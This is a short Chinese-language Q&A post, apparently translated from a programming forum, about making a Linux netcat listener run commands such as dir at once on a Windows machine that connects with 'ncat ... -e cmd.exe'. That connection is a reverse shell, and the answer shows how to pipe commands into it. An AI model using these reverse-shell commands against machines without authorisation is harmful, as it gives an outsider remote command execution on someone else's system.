Ncat在Windows上连接并立即执行命令

问题描述:

我试图找出一种方法来从侦听的Linux机器打开一个netcat连接并立即在目标Windows机器上执行命令(例如dir或ipconfig)。Ncat在Windows上连接并立即执行命令

事情与此类似:

Linux机器:

nc -lvp 4444; dir 

Windows机器:

ncat 192.168.1.25 4444 -e cmd.exe 

我需要立即就立即执行命令的连接与Windows制成机。

如果这可以用bash脚本完成,那也会很棒。我尝试了脚本,但是它在放入Windows命令行后不会注册任何命令。

任何帮助或建议将不胜感激!谢谢。

该命令应该在nc的标准输入上,而不是在nc完成后运行的本地命令。

printf "dir\n" | nc -lvp 444 

又见Pass commands as input to another command (su, ssh, sh, etc)